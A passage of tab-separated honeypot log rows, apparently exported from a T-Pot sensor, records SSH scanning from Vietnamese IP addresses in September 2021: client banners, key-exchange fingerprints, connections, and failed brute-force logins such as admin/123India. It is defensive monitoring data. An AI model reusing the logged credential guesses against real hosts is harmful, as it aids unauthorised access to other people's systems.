21732	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:49.254213+03	2021-09-20 14:15:04.032613+03	{"_id": "xgbjAnwBvYTbRNuEGgJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bd2a8e22537c", "@version": "1", "timestamp": "2021-09-20T11:06:49.254213Z", "@timestamp": "2021-09-20T11:06:49.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21733	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:50.011094+03	2021-09-20 14:15:04.033613+03	{"_id": "xwbjAnwBvYTbRNuEGgJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0bbdbd5ee5a4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:50.011094Z", "@timestamp": "2021-09-20T11:06:50.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21734	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:50.699417+03	2021-09-20 14:15:04.034658+03	{"_id": "0AbjAnwBvYTbRNuEHQIC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 831887573137467, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39932, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.699417Z", "@timestamp": "2021-09-20T11:06:50.699Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21735	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:50.528282+03	2021-09-20 14:15:04.036613+03	{"_id": "0QbjAnwBvYTbRNuEHQIC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 878268924940163, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46072, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.528282Z", "@timestamp": "2021-09-20T11:06:50.528Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21737	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.862713+03	2021-09-20 14:15:04.038613+03	{"_id": "1AbjAnwBvYTbRNuEHgJl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:54262 (192.168.176.2:22) [session: 17afc4ffe90f]", "session": "17afc4ffe90f", "@version": "1", "protocol": "ssh", "src_port": 54262, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.862713Z", "@timestamp": "2021-09-20T11:06:50.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21738	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.470148+03	2021-09-20 14:15:04.039614+03	{"_id": "7gbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43582 (192.168.176.2:22) [session: 83979a6e8f5e]", "session": "83979a6e8f5e", "@version": "1", "protocol": "ssh", "src_port": 43582, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.470148Z", "@timestamp": "2021-09-20T11:06:50.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21739	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:50.657405+03	2021-09-20 14:15:04.041613+03	{"_id": "3QbjAnwBvYTbRNuEHgJl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [admin/123India] failed", "session": "d6dfcef274a0", "@version": "1", "password": "123India", "username": "admin", "timestamp": "2021-09-20T11:06:50.657405Z", "@timestamp": "2021-09-20T11:06:50.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21740	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:50.777825+03	2021-09-20 14:15:04.042612+03	{"_id": "3gbjAnwBvYTbRNuEHgJl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [anna/anna] failed", "session": "bd2a8e22537c", "@version": "1", "password": "anna", "username": "anna", "timestamp": "2021-09-20T11:06:50.777825Z", "@timestamp": "2021-09-20T11:06:50.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21741	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:50.900802+03	2021-09-20 14:15:04.043613+03	{"_id": "_QbjAnwBvYTbRNuEHgJq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:52836 (192.168.176.2:22) [session: d7c819b86e5f]", "session": "d7c819b86e5f", "@version": "1", "protocol": "ssh", "src_port": 52836, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.900802Z", "@timestamp": "2021-09-20T11:06:50.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21742	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.711576+03	2021-09-20 14:15:04.044612+03	{"_id": "NQbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a5f1fcd7546d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:51.711576Z", "@timestamp": "2021-09-20T11:06:51.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21743	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.924967+03	2021-09-20 14:15:04.046613+03	{"_id": "NwbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a5f1fcd7546d", "@version": "1", "timestamp": "2021-09-20T11:06:51.924967Z", "@timestamp": "2021-09-20T11:06:51.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21744	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.344129+03	2021-09-20 14:15:04.047613+03	{"_id": "JgbjAnwBvYTbRNuEIgNR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "23fff7ddc752", "@version": "1", "timestamp": "2021-09-20T11:06:51.344129Z", "@timestamp": "2021-09-20T11:06:51.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21745	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:50.957449+03	2021-09-20 14:15:04.048613+03	{"_id": "UwbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 